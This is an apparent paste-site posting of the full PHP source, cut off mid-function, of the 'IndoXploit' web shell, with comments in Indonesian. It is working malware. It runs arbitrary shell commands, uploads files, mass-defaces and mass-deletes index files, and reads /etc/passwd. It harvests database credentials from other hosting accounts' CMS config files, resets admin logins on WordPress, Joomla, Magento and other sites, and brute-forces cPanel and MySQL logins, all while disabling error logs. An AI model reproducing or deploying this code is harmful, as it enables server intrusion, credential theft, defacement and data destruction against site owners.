RobinHood

SUBMITTED BY: RobinHood

DATE: Feb. 15, 2018, 3:04 p.m.

FORMAT: Text only

SIZE: 60.8 kB

Raw Download

HITS: 217

Report
  1. <html>
  2. <head>
  3. <title>IndoXploit</title>
  4. <meta name='author' content='IndoXploit'>
  5. <meta charset="UTF-8">
  6. <style type='text/css'>
  7. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  8. html {
  9. background: #000000;
  10. color: #ffffff;
  11. font-family: 'Ubuntu';
  12. font-size: 13px;
  13. width: 100%;
  14. }
  15. li {
  16. display: inline;
  17. margin: 5px;
  18. padding: 5px;
  19. }
  20. table, th, td {
  21. border-collapse:collapse;
  22. font-family: Tahoma, Geneva, sans-serif;
  23. background: transparent;
  24. font-family: 'Ubuntu';
  25. font-size: 13px;
  26. }
  27. .table_home, .th_home, .td_home {
  28. border: 1px solid #ffffff;
  29. }
  30. th {
  31. padding: 10px;
  32. }
  33. a {
  34. color: #ffffff;
  35. text-decoration: none;
  36. }
  37. a:hover {
  38. color: gold;
  39. text-decoration: underline;
  40. }
  41. b {
  42. color: gold;
  43. }
  44. input[type=text], input[type=password],input[type=submit] {
  45. background: transparent;
  46. color: #ffffff;
  47. border: 1px solid #ffffff;
  48. margin: 5px auto;
  49. padding-left: 5px;
  50. font-family: 'Ubuntu';
  51. font-size: 13px;
  52. }
  53. textarea {
  54. border: 1px solid #ffffff;
  55. width: 100%;
  56. height: 400px;
  57. padding-left: 5px;
  58. margin: 10px auto;
  59. resize: none;
  60. background: transparent;
  61. color: #ffffff;
  62. font-family: 'Ubuntu';
  63. font-size: 13px;
  64. }
  65. </style>
  66. </head>
  67. <?php
  68. ###############################################################################
  69. // Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
  70. // Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
  71. // Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
  72. // Tanpa kalian kita tidak akan BESAR seperti sekarang.
  73. // Greetz: All Member IndoXploit. & all my friends.
  74. ###############################################################################
  75. function w($dir,$perm) {
  76. if(!is_writable($dir)) {
  77. return "<font color=red>".$perm."</font>";
  78. } else {
  79. return "<font color=lime>".$perm."</font>";
  80. }
  81. }
  82. function exe($cmd) {
  83. if(function_exists('system')) {
  84. @ob_start();
  85. @system($cmd);
  86. $buff = @ob_get_contents();
  87. @ob_end_clean();
  88. return $buff;
  89. } elseif(function_exists('exec')) {
  90. @exec($cmd,$results);
  91. $buff = "";
  92. foreach($results as $result) {
  93. $buff .= $result;
  94. } return $buff;
  95. } elseif(function_exists('passthru')) {
  96. @ob_start();
  97. @passthru($cmd);
  98. $buff = @ob_get_contents();
  99. @ob_end_clean();
  100. return $buff;
  101. } elseif(function_exists('shell_exec')) {
  102. $buff = @shell_exec($cmd);
  103. return $buff;
  104. }
  105. }
  106. function perms($file){
  107. $perms = fileperms($file);
  108. if (($perms & 0xC000) == 0xC000) {
  109. // Socket
  110. $info = 's';
  111. } elseif (($perms & 0xA000) == 0xA000) {
  112. // Symbolic Link
  113. $info = 'l';
  114. } elseif (($perms & 0x8000) == 0x8000) {
  115. // Regular
  116. $info = '-';
  117. } elseif (($perms & 0x6000) == 0x6000) {
  118. // Block special
  119. $info = 'b';
  120. } elseif (($perms & 0x4000) == 0x4000) {
  121. // Directory
  122. $info = 'd';
  123. } elseif (($perms & 0x2000) == 0x2000) {
  124. // Character special
  125. $info = 'c';
  126. } elseif (($perms & 0x1000) == 0x1000) {
  127. // FIFO pipe
  128. $info = 'p';
  129. } else {
  130. // Unknown
  131. $info = 'u';
  132. }
  133. // Owner
  134. $info .= (($perms & 0x0100) ? 'r' : '-');
  135. $info .= (($perms & 0x0080) ? 'w' : '-');
  136. $info .= (($perms & 0x0040) ?
  137. (($perms & 0x0800) ? 's' : 'x' ) :
  138. (($perms & 0x0800) ? 'S' : '-'));
  139. // Group
  140. $info .= (($perms & 0x0020) ? 'r' : '-');
  141. $info .= (($perms & 0x0010) ? 'w' : '-');
  142. $info .= (($perms & 0x0008) ?
  143. (($perms & 0x0400) ? 's' : 'x' ) :
  144. (($perms & 0x0400) ? 'S' : '-'));
  145. // World
  146. $info .= (($perms & 0x0004) ? 'r' : '-');
  147. $info .= (($perms & 0x0002) ? 'w' : '-');
  148. $info .= (($perms & 0x0001) ?
  149. (($perms & 0x0200) ? 't' : 'x' ) :
  150. (($perms & 0x0200) ? 'T' : '-'));
  151. return $info;
  152. }
  153. function hdd($s) {
  154. if($s >= 1073741824)
  155. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  156. elseif($s >= 1048576)
  157. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  158. elseif($s >= 1024)
  159. return sprintf('%1.2f',$s / 1024 ) .' KB';
  160. else
  161. return $s .' B';
  162. }
  163. function ambilKata($param, $kata1, $kata2){
  164. if(strpos($param, $kata1) === FALSE) return FALSE;
  165. if(strpos($param, $kata2) === FALSE) return FALSE;
  166. $start = strpos($param, $kata1) + strlen($kata1);
  167. $end = strpos($param, $kata2, $start);
  168. $return = substr($param, $start, $end - $start);
  169. return $return;
  170. }
  171. if(get_magic_quotes_gpc()) {
  172. function idx_ss($array) {
  173. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  174. }
  175. $_POST = idx_ss($_POST);
  176. }
  178. error_reporting(0);
  179. error_log(0);
  180. @ini_set('error_log',NULL);
  181. @ini_set('log_errors',0);
  182. @ini_set('max_execution_time',0);
  183. @set_time_limit(0);
  184. @set_magic_quotes_runtime(0);
  185. if(isset($_GET['dir'])) {
  186. $dir = $_GET['dir'];
  187. chdir($_GET['dir']);
  188. } else {
  189. $dir = getcwd();
  190. }
  191. $dir = str_replace("\\","/",$dir);
  192. $scdir = explode("/", $dir);
  193. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  194. $ds = @ini_get("disable_functions");
  195. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  196. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  197. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  198. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  199. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  200. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  201. if(!function_exists('posix_getegid')) {
  202. $user = @get_current_user();
  203. $uid = @getmyuid();
  204. $gid = @getmygid();
  205. $group = "?";
  206. } else {
  207. $uid = @posix_getpwuid(posix_geteuid());
  208. $gid = @posix_getgrgid(posix_getegid());
  209. $user = $uid['name'];
  210. $uid = $uid['uid'];
  211. $group = $gid['name'];
  212. $gid = $gid['gid'];
  213. }
  214. echo "System: <font color=lime>".php_uname()."</font><br>";
  215. echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
  216. echo "Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
  217. echo "HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font><br>";
  218. echo "Safe Mode: $sm<br>";
  219. echo "Disable Functions: $show_ds<br>";
  220. echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
  221. echo "Current DIR: ";
  222. foreach($scdir as $c_dir => $cdir) {
  223. echo "<a href='?dir=";
  224. for($i = 0; $i <= $c_dir; $i++) {
  225. echo $scdir[$i];
  226. if($i != $c_dir) {
  227. echo "/";
  228. }
  229. }
  230. echo "'>$cdir</a>/";
  231. }
  232. echo "<hr>";
  233. echo "<center>";
  234. echo "<ul>";
  235. echo "<li>[ <a href='?'>Home</a> ]</li>";
  236. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  237. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  238. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  239. echo "<li>[ <a href='?dir=$dir&do=mass_delete'>Mass Delete</a> ]</li>";
  240. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  241. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  242. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  243. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  244. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  245. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li>";
  246. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  247. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li><br>";
  248. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  249. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  250. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  251. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  252. echo "</ul>";
  253. echo "</center>";
  254. echo "<hr>";
  255. if($_GET['do'] == 'upload') {
  256. echo "<center>";
  257. if($_POST['upload']) {
  258. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  259. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  260. } else {
  261. $act = "<font color=red>failed to upload file</font>";
  262. }
  263. }
  264. echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  265. echo $act;
  266. echo "</center>";
  267. } elseif($_GET['do'] == 'cmd') {
  268. echo "<form method='post'>
  269. <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  270. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  271. </form>";
  272. if($_POST['do_cmd']) {
  273. echo "<pre>".exe($_POST['cmd'])."</pre>";
  274. }
  275. } elseif($_GET['do'] == 'mass_deface') {
  276. function sabun_massal($dir,$namafile,$isi_script) {
  277. if(is_writable($dir)) {
  278. $dira = scandir($dir);
  279. foreach($dira as $dirb) {
  280. $dirc = "$dir/$dirb";
  281. $lokasi = $dirc.'/'.$namafile;
  282. if($dirb === '.') {
  283. file_put_contents($lokasi, $isi_script);
  284. } elseif($dirb === '..') {
  285. file_put_contents($lokasi, $isi_script);
  286. } else {
  287. if(is_dir($dirc)) {
  288. if(is_writable($dirc)) {
  289. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  290. file_put_contents($lokasi, $isi_script);
  291. $idx = sabun_massal($dirc,$namafile,$isi_script);
  292. }
  293. }
  294. }
  295. }
  296. }
  297. }
  298. if($_POST['start']) {
  299. echo "<div style='margin: 5px auto; padding: 5px'>";
  300. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  301. echo "</div>";
  302. } else {
  303. echo "<center>";
  304. echo "<form method='post'>
  305. <font style='text-decoration: underline;'>Folder:</font><br>
  306. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  307. <font style='text-decoration: underline;'>Filename:</font><br>
  308. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  309. <font style='text-decoration: underline;'>Index File:</font><br>
  310. <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>
  311. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  312. </form></center>";
  313. }
  314. } elseif($_GET['do'] == 'mass_delete') {
  315. function hapus_massal($dir,$namafile) {
  316. if(is_writable($dir)) {
  317. $dira = scandir($dir);
  318. foreach($dira as $dirb) {
  319. $dirc = "$dir/$dirb";
  320. $lokasi = $dirc.'/'.$namafile;
  321. if($dirb === '.') {
  322. if(file_exists("$dir/$namafile")) {
  323. unlink("$dir/$namafile");
  324. }
  325. } elseif($dirb === '..') {
  326. if(file_exists("".dirname($dir)."/$namafile")) {
  327. unlink("".dirname($dir)."/$namafile");
  328. }
  329. } else {
  330. if(is_dir($dirc)) {
  331. if(is_writable($dirc)) {
  332. if(file_exists($lokasi)) {
  333. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  334. unlink($lokasi);
  335. $idx = hapus_massal($dirc,$namafile);
  336. }
  337. }
  338. }
  339. }
  340. }
  341. }
  342. }
  343. if($_POST['start']) {
  344. echo "<div style='margin: 5px auto; padding: 5px'>";
  345. hapus_massal($_POST['d_dir'], $_POST['d_file']);
  346. echo "</div>";
  347. } else {
  348. echo "<center>";
  349. echo "<form method='post'>
  350. <font style='text-decoration: underline;'>Folder:</font><br>
  351. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  352. <font style='text-decoration: underline;'>Filename:</font><br>
  353. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  354. <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
  355. </form></center>";
  356. }
  357. } elseif($_GET['do'] == 'config') {
  358. $etc = fopen("/etc/passwd", "r");
  359. $idx = mkdir("idx_config", 0777);
  360. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  361. $htc = fopen("idx_config/.htaccess","w");
  362. fwrite($htc, $isi_htc);
  363. while($passwd = fgets($etc)) {
  364. if($passwd == "" || !$etc) {
  365. echo "<font color=red>Can't read /etc/passwd</font>";
  366. } else {
  367. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  368. foreach($user_config[1] as $user_idx) {
  369. $user_config_dir = "/home/$user_idx/public_html/";
  370. if(is_readable($user_config_dir)) {
  371. $grab_config = array(
  372. "/home/$user_idx/.my.cnf" => "cpanel",
  373. "/home/$user_idx/.accesshash" => "WHM-accesshash",
  374. "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
  375. "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
  376. "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  377. "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
  378. "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
  379. "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
  380. "/home/$user_idx/public_html/forum/config.php" => "phpBB",
  381. "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
  382. "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
  383. "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
  384. "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
  385. "/home/$user_idx/public_html/configuration.php" => "Joomla",
  386. "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
  387. "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
  388. "/home/$user_idx/public_html/wp-config.php" => "WordPress",
  389. "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
  390. "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
  391. "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
  392. foreach($grab_config as $config => $nama_config) {
  393. $ambil_config = file_get_contents($config);
  394. if($ambil_config == '') {
  395. } else {
  396. $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
  397. fputs($file_config,$ambil_config);
  398. }
  399. }
  400. }
  401. }
  402. }
  403. }
  404. echo "<center><a href='?dir=$dir/idx_config'><font color=lime>Done</font></a></center>";
  405. } elseif($_GET['do'] == 'jumping') {
  406. $i = 0;
  407. echo "<pre><div class='margin: 5px auto;'>";
  408. $etc = fopen("/etc/passwd", "r");
  409. while($passwd = fgets($etc)) {
  410. if($passwd == '' || !$etc) {
  411. echo "<font color=red>Can't read /etc/passwd</font>";
  412. } else {
  413. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  414. foreach($user_jumping[1] as $user_idx_jump) {
  415. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  416. if(is_readable($user_jumping_dir)) {
  417. $i++;
  418. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  419. if(is_writable($user_jumping_dir)) {
  420. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  421. }
  422. echo $jrw;
  423. $domain_jump = file_get_contents("/etc/named.conf");
  424. if($domain_jump == '') {
  425. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  426. } else {
  427. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  428. foreach($domains_jump[1] as $dj) {
  429. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  430. $user_jumping_url = $user_jumping_url['name'];
  431. if($user_jumping_url == $user_idx_jump) {
  432. echo " => ( <u>$dj</u> )<br>";
  433. break;
  434. }
  435. }
  436. }
  437. }
  438. }
  439. }
  440. }
  441. if($i == 0) {
  442. } else {
  443. echo "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  444. }
  445. echo "</div></pre>";
  446. } elseif($_GET['do'] == 'auto_edit_user') {
  447. if($_POST['hajar']) {
  448. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  449. echo "username atau password harus lebih dari 6 karakter";
  450. } else {
  451. $user_baru = $_POST['user_baru'];
  452. $pass_baru = md5($_POST['pass_baru']);
  453. $conf = $_POST['config_dir'];
  454. $scan_conf = scandir($conf);
  455. foreach($scan_conf as $file_conf) {
  456. if(!is_file("$conf/$file_conf")) continue;
  457. $config = file_get_contents("$conf/$file_conf");
  458. if(preg_match("/JConfig|joomla/",$config)) {
  459. $dbhost = ambilkata($config,"host = '","'");
  460. $dbuser = ambilkata($config,"user = '","'");
  461. $dbpass = ambilkata($config,"password = '","'");
  462. $dbname = ambilkata($config,"db = '","'");
  463. $dbprefix = ambilkata($config,"dbprefix = '","'");
  464. $prefix = $dbprefix."users";
  465. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  466. $db = mysql_select_db($dbname);
  467. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  468. $result = mysql_fetch_array($q);
  469. $id = $result['id'];
  470. $site = ambilkata($config,"sitename = '","'");
  471. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  472. echo "Config => ".$file_conf."<br>";
  473. echo "CMS => Joomla<br>";
  474. if($site == '') {
  475. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  476. } else {
  477. echo "Sitename => $site<br>";
  478. }
  479. if(!$update OR !$conn OR !$db) {
  480. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  481. } else {
  482. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  483. }
  484. mysql_close($conn);
  485. } elseif(preg_match("/WordPress/",$config)) {
  486. $dbhost = ambilkata($config,"DB_HOST', '","'");
  487. $dbuser = ambilkata($config,"DB_USER', '","'");
  488. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  489. $dbname = ambilkata($config,"DB_NAME', '","'");
  490. $dbprefix = ambilkata($config,"table_prefix = '","'");
  491. $prefix = $dbprefix."users";
  492. $option = $dbprefix."options";
  493. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  494. $db = mysql_select_db($dbname);
  495. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  496. $result = mysql_fetch_array($q);
  497. $id = $result[ID];
  498. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  499. $result2 = mysql_fetch_array($q2);
  500. $target = $result2[option_value];
  501. if($target == '') {
  502. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  503. } else {
  504. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  505. }
  506. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  507. echo "Config => ".$file_conf."<br>";
  508. echo "CMS => Wordpress<br>";
  509. echo $url_target;
  510. if(!$update OR !$conn OR !$db) {
  511. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  512. } else {
  513. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  514. }
  515. mysql_close($conn);
  516. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  517. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  518. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  519. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  520. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  521. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  522. $prefix = $dbprefix."admin_user";
  523. $option = $dbprefix."core_config_data";
  524. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  525. $db = mysql_select_db($dbname);
  526. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  527. $result = mysql_fetch_array($q);
  528. $id = $result[user_id];
  529. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  530. $result2 = mysql_fetch_array($q2);
  531. $target = $result2[value];
  532. if($target == '') {
  533. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  534. } else {
  535. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  536. }
  537. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  538. echo "Config => ".$file_conf."<br>";
  539. echo "CMS => Magento<br>";
  540. echo $url_target;
  541. if(!$update OR !$conn OR !$db) {
  542. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  543. } else {
  544. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  545. }
  546. mysql_close($conn);
  547. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  548. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  549. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  550. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  551. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  552. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  553. $prefix = $dbprefix."user";
  554. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  555. $db = mysql_select_db($dbname);
  556. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  557. $result = mysql_fetch_array($q);
  558. $id = $result[user_id];
  559. $target = ambilkata($config,"HTTP_SERVER', '","'");
  560. if($target == '') {
  561. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  562. } else {
  563. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  564. }
  565. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  566. echo "Config => ".$file_conf."<br>";
  567. echo "CMS => OpenCart<br>";
  568. echo $url_target;
  569. if(!$update OR !$conn OR !$db) {
  570. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  571. } else {
  572. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  573. }
  574. mysql_close($conn);
  575. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  576. $dbhost = ambilkata($config,'server = "','"');
  577. $dbuser = ambilkata($config,'username = "','"');
  578. $dbpass = ambilkata($config,'password = "','"');
  579. $dbname = ambilkata($config,'database = "','"');
  580. $prefix = "users";
  581. $option = "identitas";
  582. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  583. $db = mysql_select_db($dbname);
  584. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  585. $result = mysql_fetch_array($q);
  586. $target = $result[alamat_website];
  587. if($target == '') {
  588. $target2 = $result[url];
  589. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  590. if($target2 == '') {
  591. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  592. } else {
  593. $cek_login3 = file_get_contents("$target2/adminweb/");
  594. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  595. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  596. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  597. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  598. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  599. } else {
  600. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  601. }
  602. }
  603. } else {
  604. $cek_login = file_get_contents("$target/adminweb/");
  605. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  606. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  607. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  608. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  609. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  610. } else {
  611. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  612. }
  613. }
  614. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  615. echo "Config => ".$file_conf."<br>";
  616. echo "CMS => Lokomedia<br>";
  617. if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  618. echo $url_target2;
  619. } else {
  620. echo $url_target;
  621. }
  622. if(!$update OR !$conn OR !$db) {
  623. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  624. } else {
  625. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  626. }
  627. mysql_close($conn);
  628. }
  629. }
  630. }
  631. } else {
  632. echo "<center>
  633. <h1>Auto Edit User Config</h1>
  634. <form method='post'>
  635. DIR Config: <br>
  636. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  637. Set User & Pass: <br>
  638. <input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>
  639. <input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>
  640. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  641. </form>
  642. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  643. ";
  644. }
  645. } elseif($_GET['do'] == 'cpanel') {
  646. if($_POST['crack']) {
  647. $usercp = explode("\r\n", $_POST['user_cp']);
  648. $passcp = explode("\r\n", $_POST['pass_cp']);
  649. $i = 0;
  650. foreach($usercp as $ucp) {
  651. foreach($passcp as $pcp) {
  652. if(@mysql_connect('localhost', $ucp, $pcp)) {
  653. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  654. } else {
  655. $_SESSION[$ucp] = "1";
  656. $_SESSION[$pcp] = "1";
  657. $i++;
  658. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  659. }
  660. }
  661. }
  662. }
  663. if($i == 0) {
  664. } else {
  665. echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>IndoXploit.</font>";
  666. }
  667. } else {
  668. echo "<center>
  669. <form method='post'>
  670. USER: <br>
  671. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  672. $_usercp = fopen("/etc/passwd","r");
  673. while($getu = fgets($_usercp)) {
  674. if($getu == '' || !$_usercp) {
  675. echo "<font color=red>Can't read /etc/passwd</font>";
  676. } else {
  677. preg_match_all("/(.*?):x:/", $getu, $u);
  678. foreach($u[1] as $user_cp) {
  679. if(is_dir("/home/$user_cp/public_html")) {
  680. echo "$user_cp\n";
  681. }
  682. }
  683. }
  684. }
  685. echo "</textarea><br>
  686. PASS: <br>
  687. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  688. function cp_pass($dir) {
  689. $pass = "";
  690. $dira = scandir($dir);
  691. foreach($dira as $dirb) {
  692. if(!is_file("$dir/$dirb")) continue;
  693. $ambil = file_get_contents("$dir/$dirb");
  694. if(preg_match("/WordPress/", $ambil)) {
  695. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  696. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  697. $pass .= ambilkata($ambil,"password = '","'")."\n";
  698. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  699. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  700. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  701. $pass .= ambilkata($ambil,'password = "','"')."\n";
  702. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  703. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
